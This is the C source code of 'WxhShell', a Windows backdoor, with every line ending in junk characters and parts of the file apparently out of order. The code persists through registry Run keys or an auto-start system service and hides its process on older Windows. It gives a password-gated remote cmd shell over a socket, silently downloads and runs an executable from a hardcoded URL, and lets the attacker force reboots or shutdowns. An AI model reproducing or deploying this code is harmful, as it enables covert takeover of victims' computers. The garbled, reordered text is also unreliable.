    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q6"uK  
    if(Boot(SHUTDOWN)) gNShOu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P$Z}  
    else { o#qH2)tb  
    closesocket(wsh); CRH{E}>  
    ExitThread(0); 1T ( u  
    } Kv(z4z  
    break; *~ p (GC  
    } :e*DTVv8  
  // 获取shell 8b|OXWl  
  case 's': { u!Xb?:3uj  
    CmdShell(wsh); & _; y.!  
    closesocket(wsh); YT>KJ  
    ExitThread(0); z{S:X:X  
    break; xfjd5J7'  
  } #/Ruz'H1>  
  // 退出 vr=~M?  
  case 'x': { lT2 4JhJ#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M)&Io6>  
    CloseIt(wsh); ? ^M /[@  
    break; ! Tx&vtq  
    } TZ[Zm  
  // 离开 +nZUL*Ut/  
  case 'q': { x^G'rF"nT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5%*w<6<_z  
    closesocket(wsh); ~ 9GOk;{~&  
    WSACleanup(); L!t@-5~  
    exit(1); ,CP 5~4u  
    break; zh\p  
        } :0$a.8Y\++  
  } tz26=8  
  } |EKu2We*  
E<tK4?i"  
  // 提示信息 0RUi\X4HI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O] Y v   
} {C3U6kKs;R  
  } <$%X<sDkq  
-$(Jk<  
  return; jMM$d,7B  
} E@-ta):  
bLzs?eos  
// shell模块句柄 8WL8/  
int CmdShell(SOCKET sock) +#2)kg 9_  
{ ~ 3^='o  
STARTUPINFO si; ]hA,LY f  
ZeroMemory(&si,sizeof(si)); ,apNwkY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `K*b?:0lp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B z^|SkEit  
PROCESS_INFORMATION ProcessInfo; q2hFOm  
char cmdline[]="cmd"; -w1@!Sdd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J'b<z.OW  
  return 0; > _ <'D  
} @@@=}!<H=  
=pcF:D#+  
// 自身启动模式 &?0:v`4Y  
int StartFromService(void) s,6`RI%  
{ Xa," 'r  
typedef struct ~. YWV  
{ Z:*@5  
  DWORD ExitStatus; j%L&jH 6@  
  DWORD PebBaseAddress; {Z> M  
  DWORD AffinityMask; K=dR%c(  
  DWORD BasePriority; `0ZZ/] !L  
  ULONG UniqueProcessId; K*q[(,9  
  ULONG InheritedFromUniqueProcessId; .Da'pOe  
}   PROCESS_BASIC_INFORMATION; Rx7X_A}  
"5C`,4s  
PROCNTQSIP NtQueryInformationProcess; )[L^Dmd,  
gn8 |/ev  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hoM|P8 }rh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RBwO+J53y  
]}Z4P-"t  
  HANDLE             hProcess; ST5V!jz  
  PROCESS_BASIC_INFORMATION pbi; -#In;~  
QzOkpewf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mj&57D\fq  
  if(NULL == hInst ) return 0; )?=YT  
BHA923p?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]5 Qy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,1oQ cC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); slu(SmQ  
0* ;O?T  
  if (!NtQueryInformationProcess) return 0; E<E3&;qD  
qJPT%r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YO+{,$  
  if(!hProcess) return 0; c$:1:B9\  
0nJE/JZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iD`d99f8O  
0Yl4eB-  
  CloseHandle(hProcess); ^Hrn  ]  
6"/WZmOp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $P z`$~  
if(hProcess==NULL) return 0; ,CvG 20>  
<eN_1NTH_  
HMODULE hMod; 'sh~,+g  
char procName[255]; o:S0*  
unsigned long cbNeeded; C NsNZJ  
m8R9{LC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JL=U,Mr6  
H 3@Z.D  
  CloseHandle(hProcess); tZyo`[La  
0'5/K ,  
if(strstr(procName,"services")) return 1; // 以服务启动 0(U#)  
Fmyj*)J[Z  
  return 0; // 注册表启动 O`G/=/GZ  
} =,y |00l  
{q%Sx*k9[  
// 主模块 {@W93=Vq8  
int StartWxhshell(LPSTR lpCmdLine) .Jx9bIw  
{ h RC  
  SOCKET wsl; 1Xu?(2;NF  
BOOL val=TRUE; XV3C`:b  
  int port=0; *N'K/36;  
  struct sockaddr_in door; {-3LIO  
O7d$YB_'  
  if(wscfg.ws_autoins) Install(); 7hP<f}xL  
({r*=wAP  
port=atoi(lpCmdLine); H}hFFI)#Oo  
:bu>],d-8'  
if(port<=0) port=wscfg.ws_port; &;yH@@Z  
r;BT,jiX  
  WSADATA data; +mj*o(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; te|? )j  
d^03"t0O]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N`@NiJ(O;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :W#rhuzC  
  door.sin_family = AF_INET; +4;uF]T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $YxBE`)d-  
  door.sin_port = htons(port); (*}yjUYLZ  
S$)*&46g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >Y7a4~ufko  
closesocket(wsl); 2H71~~ c  
return 1; KmG  
} T>TWU:  
ca i <,3H  
  if(listen(wsl,2) == INVALID_SOCKET) { K 0gI):  
closesocket(wsl); z>sbr<doa  
return 1; @NhvnfZ  
} K<?nq0-  
  Wxhshell(wsl); o#) {1<0vg  
  WSACleanup(); x:-.+C%  
Z4<L$i;/jN  
return 0; A?_=K  
ZkL8e  
} ]]7 mlQ  
O[tvR:Nh  
// 以NT服务方式启动 f-DL:@crU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jk@]tAwoM  
{ 7C#`6:tI  
DWORD   status = 0; {3;AwhN0H  
  DWORD   specificError = 0xfffffff; &'cL%.  
vEf4HZ&w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hfpJ+[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L,y6^J!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8n1'x;  
  serviceStatus.dwWin32ExitCode     = 0; ! cKz7?w  
  serviceStatus.dwServiceSpecificExitCode = 0; B9p?8.[  
  serviceStatus.dwCheckPoint       = 0; SJD@&m%?[  
  serviceStatus.dwWaitHint       = 0; 9T#;,{VQ  
8!.ojdyn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U*90m~)  
  if (hServiceStatusHandle==0) return; J+rCxn?;g  
V5+SWXZ  
status = GetLastError(); HhO".GA  
  if (status!=NO_ERROR) A-:O`RK  
{ 5F`;yh+e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KiGp[eb  
    serviceStatus.dwCheckPoint       = 0; c/c$D;T  
    serviceStatus.dwWaitHint       = 0; <: &*  
    serviceStatus.dwWin32ExitCode     = status; r0p w_j  
    serviceStatus.dwServiceSpecificExitCode = specificError; YK|bXSA[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *JggU  
    return; 8DP+W$  
  } %$%& m1Y  
x.Q&$#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vJAZ%aW  
  serviceStatus.dwCheckPoint       = 0; !9 fz(9  
  serviceStatus.dwWaitHint       = 0; Gt9&)/#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IV\J3N^  
} 2WUT/{:X  
Uj&W<'I  
// 处理NT服务事件,比如:启动、停止 ]HpA5q1ck  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~?B;!Csk  
{ 'SQG>F Uy  
switch(fdwControl) (sVi\R  
{ nUkaz*4qU  
case SERVICE_CONTROL_STOP: f~ }H  
  serviceStatus.dwWin32ExitCode = 0; !i=nSqW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [M+f-kl  
  serviceStatus.dwCheckPoint   = 0; aF03a-qw<  
  serviceStatus.dwWaitHint     = 0; N0#JOu}~  
  { [@yV!#2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =8U&[F  
  } Q:J^"  
  return; >X*Mio8P#  
case SERVICE_CONTROL_PAUSE: sz9L8f2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CI3XzH\IX*  
  break; `/Y{ l  
case SERVICE_CONTROL_CONTINUE: bWOS `5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; re> rr4@  
  break; ?%H):r  
case SERVICE_CONTROL_INTERROGATE: Y@PI {;!  
  break; cQ9q;r`%  
}; {Zp\^/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); as J)4ema  
} V!)O6?l  
T#bu V  
// 标准应用程序主函数 ZvcJK4hi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LjV]0%j?r  
{ Web|\CH  
OyqNLR  
// 获取操作系统版本 fu~ +8CE.  
OsIsNt=GetOsVer(); a# c6[!   
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^ns@O+Fk  
eb*#'\~'  
  // 从命令行安装 EbqcV\Kb  
  if(strpbrk(lpCmdLine,"iI")) Install(); ayAo^q  
>}(CEzc8  
  // 下载执行文件 J,b&XD@m  
if(wscfg.ws_downexe) { x W92ch+t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) znJ'iV f  
  WinExec(wscfg.ws_filenam,SW_HIDE); {d?$m*YR3`  
} 6oui]$pH  
u,3#M ~  
if(!OsIsNt) { 52o x`t|  
// 如果时win9x,隐藏进程并且设置为注册表启动 "s\L~R.&  
HideProc(); 3"F`ZJ]=  
StartWxhshell(lpCmdLine); $+7`Dy!  
} 86z]<p (  
else $8a(veXd  
  if(StartFromService()) 4b:s<$TZ  
  // 以服务方式启动 2B,] -Mu)  
  StartServiceCtrlDispatcher(DispatchTable); dx ;k`r$w  
else +iI&c s  
  // 普通方式启动 D-,L&R!`  
  StartWxhshell(lpCmdLine); fryJW=  
n-DVT;y  
return 0; : }`-B0  
} 6 PxW8pn  
@^uH`mc  
8uA,iYD  
]THPSw_y8  
=========================================== Z{H5oUk  
bGorH=pb5R  
t='# |');  
8XsguC  
&d'Awvy0  
`c'W-O/  
" hTwA%  
'g9"Qv?0{`  
#include <stdio.h> [V}S <Xp  
#include <string.h> zq%D/H6J,  
#include <windows.h> frBX{L  
#include <winsock2.h> !Kv@\4  
#include <winsvc.h> A19;1#$=  
#include <urlmon.h> A4ISNM7R[  
k^OV56  
#pragma comment (lib, "Ws2_32.lib") +}-@@,  
#pragma comment (lib, "urlmon.lib") Z y_V9j[n  
M?;y\vS?.  
#define MAX_USER   100 // 最大客户端连接数 }6 K^`!  
#define BUF_SOCK   200 // sock buffer ~@kU3ZGJZ  
#define KEY_BUFF   255 // 输入 buffer oHs2L-G  
.$#rV?7  
#define REBOOT     0   // 重启 x|{IwA9  
#define SHUTDOWN   1   // 关机 G}9=)  
n#iwb0-  
#define DEF_PORT   5000 // 监听端口 1 `KN]Nt  
D0BI5q  
#define REG_LEN     16   // 注册表键长度 5y?-fT]X  
#define SVC_LEN     80   // NT服务名长度 Q3"} Hl2  
CA +uKM^"6  
// 从dll定义API %8~3M75$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q~Z=(rP20  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z.}[m,oTF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n6k9~"?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pa{re,O"e  
KWWa&[ev)  
// wxhshell配置信息 1nu^F,M  
struct WSCFG { }@r{?8Ru  
  int ws_port;         // 监听端口 Ve 4u +0  
  char ws_passstr[REG_LEN]; // 口令 )Jv[xY~  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1LJUr"6]  
  char ws_regname[REG_LEN]; // 注册表键名 {?`al5Sz  
  char ws_svcname[REG_LEN]; // 服务名 -@ZiS^l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mRZ :ie  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]f1{n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YX*Qd$chZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OaL\w D^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7h)iu9j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J "FC%\|  
qL94SW;  
}; )TmHhNo  
^OErq&`u  
// default Wxhshell configuration "HXYNS>  
struct WSCFG wscfg={DEF_PORT, }=!,o  
    "xuhuanlingzhe", xGI, Lk+  
    1, ?@n/v F  
    "Wxhshell", 6_4D9 W  
    "Wxhshell", K x~|jq  
            "WxhShell Service", i9=&;_z  
    "Wrsky Windows CmdShell Service", X*L;.@xA  
    "Please Input Your Password: ", &  =/  
  1, C XHy.&Vt  
  "http://www.wrsky.com/wxhshell.exe", *x) 8fAr  
  "Wxhshell.exe" ^S6u<,  
    }; PpsIhMq@  
@ps1Dr4s  
// 消息定义模块 1 tR_8lC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C^ )*Dsp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zec <m8~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zuJtpMn  
char *msg_ws_ext="\n\rExit."; YA&g$!  
char *msg_ws_end="\n\rQuit."; w4LScvBg  
char *msg_ws_boot="\n\rReboot..."; 'L{8@gq i  
char *msg_ws_poff="\n\rShutdown..."; AL5Vu$V~n}  
char *msg_ws_down="\n\rSave to "; LjU'z#  
Oq3A#6~  
char *msg_ws_err="\n\rErr!"; 0dh=fcb  
char *msg_ws_ok="\n\rOK!"; 8 B**8yg.  
&* E+N[  
char ExeFile[MAX_PATH]; L_w+y  
int nUser = 0; 7+hK~  
HANDLE handles[MAX_USER]; c=AOkX3UD  
int OsIsNt; LbtX0^  
HD N9.5 S  
SERVICE_STATUS       serviceStatus; 07Ed fe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -)~SM&  
-[qq(E  
// 函数声明 K6olYG>  
int Install(void); wd/< 8>2X  
int Uninstall(void); MfmACd^3$  
int DownloadFile(char *sURL, SOCKET wsh); ^`<w&I@  
int Boot(int flag); q%5eVG  
void HideProc(void); ujJI 1I  
int GetOsVer(void); ` }3qhar  
int Wxhshell(SOCKET wsl); ?3O9eZY@  
void TalkWithClient(void *cs); eznypY=  
int CmdShell(SOCKET sock); YSaJeU>@  
int StartFromService(void); D/=5tOy  
int StartWxhshell(LPSTR lpCmdLine); mR;qMX)0h  
@zgdq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SwU\ q]^|Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uf&N[M  
 {Ha8]y  
// 数据结构和表定义 KzQ3.)/q  
SERVICE_TABLE_ENTRY DispatchTable[] = 3~#h|?  
{ =~I-]4  
{wscfg.ws_svcname, NTServiceMain}, IuZ) [*W  
{NULL, NULL} TT9z_Q5~  
}; {-A^g!jT&  
mYc.x  
// 自我安装 #Oha(mRY  
int Install(void) )z8!f}:De=  
{ %0Y=WYUH>  
  char svExeFile[MAX_PATH]; cJgBI(S5  
  HKEY key; ,TRTRb;  
  strcpy(svExeFile,ExeFile); $#|gLVOQ  
<94_@3  
// 如果是win9x系统,修改注册表设为自启动 GQ_p-/p R  
if(!OsIsNt) { \cLSf=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6DZ),F,M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Iyo@r%I  
  RegCloseKey(key); &P,^.'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?X&6M;Zi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W>b(Om_%  
  RegCloseKey(key); `HuCT6O  
  return 0; eyp,y2Tz  
    } *. &HD6Qr  
  } x3rlJs`$;  
} 8t=(,^c  
else { _ %%Z6x(  
]m#5`zGK1|  
// 如果是NT以上系统,安装为系统服务 4:9KR[y/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A6oq.I0  
if (schSCManager!=0) 8UkKU_Uso  
{ 0R0{t=VJZ  
  SC_HANDLE schService = CreateService LB/C-n.`  
  ( p N\Vr8tJ  
  schSCManager, >E,U>@+  
  wscfg.ws_svcname, m4:^}O-#  
  wscfg.ws_svcdisp, T}3v(6ew4  
  SERVICE_ALL_ACCESS, t!K*pM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  9dzdrT  
  SERVICE_AUTO_START, wDwH.~3!  
  SERVICE_ERROR_NORMAL, ?RzDQy D  
  svExeFile, `m.eM  
  NULL, )+H[kiN  
  NULL, k0Ek:MjJr  
  NULL, nv<` K9d  
  NULL, _hG;.=sr  
  NULL r ]>\~&?^F  
  ); R4Rb73o  
  if (schService!=0) k-*Mzm]kb  
  { V Yw%01#  
  CloseServiceHandle(schService); IcIOC8WC  
  CloseServiceHandle(schSCManager); 2 3KyCV5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A?Wk  w f  
  strcat(svExeFile,wscfg.ws_svcname); \(p{t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u>pBB@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |Oag,o"  
  RegCloseKey(key); p h[\)  
  return 0; !6}O.Nu  
    } IHC1G1KW=A  
  } :D7|%KK  
  CloseServiceHandle(schSCManager); oR p:B &  
} !jqWwi  
} D7"p}PD>~  
[i]r-|_K  
return 1; \C 5%\4  
} $ OVXk'cc  
xLZd!>C  
// 自我卸载 F\ctuaLC  
int Uninstall(void) 8e0."o.6  
{ -=698h*  
  HKEY key; htP|3B  
1nPZ<^A&@  
if(!OsIsNt) { FEz>[#eOX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^nVl (^{  
  RegDeleteValue(key,wscfg.ws_regname); _GqS&JHSf  
  RegCloseKey(key); n-QJ;37\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0|D&"/.R#!  
  RegDeleteValue(key,wscfg.ws_regname); V[a[i>,Z  
  RegCloseKey(key); -RJE6~>'\  
  return 0; &Np9kIMCB  
  } sCl$f7"  
} =l<iI*J. M  
} ]IJv-(  
else { mDFlz1J,e  
Ri>?KrQF%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `:M^8SYrL  
if (schSCManager!=0) "8V{5e!%j'  
{ G%# 05jH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TOLl@p]lU  
  if (schService!=0) }jSj+*  
  { x?D/.vrOY  
  if(DeleteService(schService)!=0) { ngi<v6i  
  CloseServiceHandle(schService); e~v(eK_  
  CloseServiceHandle(schSCManager); l0tYG[  
  return 0; z (c9,3  
  } b]gY~cbI8  
  CloseServiceHandle(schService); #~qAHJ<  
  } f+vVR1  
  CloseServiceHandle(schSCManager); 3]JZu9#  
} zGc(Ef5`M6  
} Kud'pZ{P  
AY_Q""v  
return 1; o/^;@5\  
} c#xP91.m  
D&hqV)d4R  
// 从指定url下载文件 wHsB,2H  
int DownloadFile(char *sURL, SOCKET wsh) |dadH7  
{ V:bV ?lt  
  HRESULT hr; I_ "Z:v{  
char seps[]= "/"; UBO^EVJ  
char *token; U/qE4u1J6M  
char *file; 2Ohp]G  
char myURL[MAX_PATH]; kpob b  
char myFILE[MAX_PATH]; &~5=K  
[6(Iwz?  
strcpy(myURL,sURL); 'PdmI<eXQ  
  token=strtok(myURL,seps); '~-IV0v9  
  while(token!=NULL) h[XGC =%  
  { ;_<)JqUh  
    file=token; JhR W[~  
  token=strtok(NULL,seps); rVA L|0;3  
  } nv5u%B^  
r{+aeLu  
GetCurrentDirectory(MAX_PATH,myFILE); )WR_ ug  
strcat(myFILE, "\\"); %Ny) ?B  
strcat(myFILE, file); FuP/tTMU1a  
  send(wsh,myFILE,strlen(myFILE),0); =?0QqCjK)  
send(wsh,"...",3,0); e9u@`ZC07  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ecH/Wz1  
  if(hr==S_OK) 3/M.0}e  
return 0; #-u [$TA  
else |;;!8VO3J  
return 1; f1+qXMs  
@Z\2*1y6  
} Y9}8M27vQG  
h5@j`{  
// 系统电源模块 Ri?\m!o  
int Boot(int flag) e-D4'lu  
{ 6*1$8G`$8,  
  HANDLE hToken; _py2kjA6  
  TOKEN_PRIVILEGES tkp; &A50'8B2A  
#GqTqHNE<  
  if(OsIsNt) { XKLF8~y8A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4?]oV%aP)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T<jfAE  
    tkp.PrivilegeCount = 1; wFlV=!>,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DOL%'k?B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Sw! j=`O  
if(flag==REBOOT) { !eD+GDgE]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L{ ^4DznI  
  return 0; , &' Y  
} =v"xmx&4  
else { hH+bt!aH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _GbE ^  
  return 0; Z^tGu7x  
} ged,>  
  } fCEz-TMW  
  else { CD?&<NV  
if(flag==REBOOT) { (M% ;~y\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rH}fLu8,;Q  
  return 0; C%H9[%k  
} C*wdtEGq  
else { kN'Thq/ZE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Mz|L-62  
  return 0; a[O6YgO  
} cNP/<8dq  
} 0P 5BArJ?  
kG3!(?:  
return 1; l`rC0kJ]  
} _Dq Qfc%  
%RFYm  
// win9x进程隐藏模块 -l.pA(O  
void HideProc(void) .S vyj  
{  ?f2G?Y  
_5\AS+[x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 52<~K  
  if ( hKernel != NULL ) {^&k!H2  
  { ;mJkqbVol  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8gpBz'/,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tt6{WDscZ  
    FreeLibrary(hKernel); G\/IM  
  } nu 7lh6o=  
Lpm?# g uR  
return; =WRO\lgv.  
} 3hJH(ToO  
B8 2,.?  
// 获取操作系统版本 uZ[/%GTX{)  
int GetOsVer(void) Oc-u=K,B  
{  <qn,  
  OSVERSIONINFO winfo; L[]^{ O   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0!IPcZjY7  
  GetVersionEx(&winfo); |a(Q4 e/,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]GS ~i+=M  
  return 1; RSH/l;ii  
  else z_(eQP])  
  return 0; !"(u_dFw  
} 8?Wgawx  
v!!;js^  
// 客户端句柄模块 {"4<To]z  
int Wxhshell(SOCKET wsl) P7>IZ >bw  
{ |LFUzq>j  
  SOCKET wsh; H0tF  
  struct sockaddr_in client; 9UmBm#"  
  DWORD myID; Y2vj}9jK  
Sf5]=F-w  
  while(nUser<MAX_USER) Hd*Fc=>"Y  
{ 5byeWH0n3  
  int nSize=sizeof(client); }@*I+\W/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); foyB{6q8  
  if(wsh==INVALID_SOCKET) return 1; {*__B} ,N  
8|vld3;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ruHrv"29  
if(handles[nUser]==0) < %rh/r  
  closesocket(wsh); Z3 n~&!  
else V#H8d_V  
  nUser++; f#mx:Q.7I  
  } g$gS7!u,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^teaJy%  
gD5P!}s[u0  
  return 0; {|p"; uJ  
} fn?VNZ`J  
Okoo(dfM  
// 关闭 socket |<2 *v-a  
void CloseIt(SOCKET wsh) |Pf(J;'[  
{ r+TK5|ke  
closesocket(wsh); aL 8Gnqf2  
nUser--; i?W]*V~ply  
ExitThread(0); .S6ji~;r  
} CjmV+%b4  
9RB`$5F ;  
// 客户端请求句柄 '2wCP EC  
void TalkWithClient(void *cs) -4%]QS  
{ )DRkS,I  
4n4j=x]@  
  SOCKET wsh=(SOCKET)cs; \AHY[WKx  
  char pwd[SVC_LEN]; ,M{Q}:$+4  
  char cmd[KEY_BUFF]; QD}1?)}  
char chr[1]; U%n,XOJ  
int i,j; p70,\&@3  
!(yT7#?hP  
  while (nUser < MAX_USER) { uwId  
rx}*u3x=  
if(wscfg.ws_passstr) { F1\`l{B,\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &! OGIYC(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .5^a;`-+  
  //ZeroMemory(pwd,KEY_BUFF); fo;6huz  
      i=0; m6eFXP1U  
  while(i<SVC_LEN) { gs-@hR.,s0  
!4pr{S  
  // 设置超时 /bi6>GaC:E  
  fd_set FdRead; To">DOt  
  struct timeval TimeOut; P!9;} &  
  FD_ZERO(&FdRead); $wgc vySx  
  FD_SET(wsh,&FdRead); a0{[P$$  
  TimeOut.tv_sec=8; v*vn<nPAQ>  
  TimeOut.tv_usec=0; d<_NB]V&F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J2'W =r_#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :TlAL# s&  
 2aFT<T0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] ZDTn  
  pwd=chr[0]; #>" }q3RO  
  if(chr[0]==0xd || chr[0]==0xa) { TZj[O1E  
  pwd=0; qj`,qm P  
  break; @+$cZ3,  
  } U @)k3^  
  i++; z'T=]- D  
    } uFC?_q?4\  
NWb} OXK/  
  // 如果是非法用户,关闭 socket p %L1uwLG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .hc|t-7f  
} HLM;EZ  
T!1SMo^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )tScc*=8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nW~$ (Qnd  
,%[LwmET  
while(1) { -}E)M}W  
luibB&p1  
  ZeroMemory(cmd,KEY_BUFF); F. }l(KuJ  
%v_IX2'  
      // 自动支持客户端 telnet标准   G5Je{N8W  
  j=0; 2YE7 23H=Z  
  while(j<KEY_BUFF) { _O"L1Let  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C1KfXC*|L  
  cmd[j]=chr[0]; Q js2hj-$  
  if(chr[0]==0xa || chr[0]==0xd) { Sf=F cb  
  cmd[j]=0; c%ZeX%p  
  break; E(% XVr0W  
  } AfUZO^<  
  j++; qQL.c+%L  
    } 5dqQws-,?1  
7Pwg+|  
  // 下载文件 qw|JJ  
  if(strstr(cmd,"http://")) { o>@=N2n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sZ]'DH&_(  
  if(DownloadFile(cmd,wsh)) _2]O^$L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HOq4i !  
  else 5/ tj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /731.l  
  } sS-W~u|C  
  else { kxygf9I!;  
qx Wgt(Os  
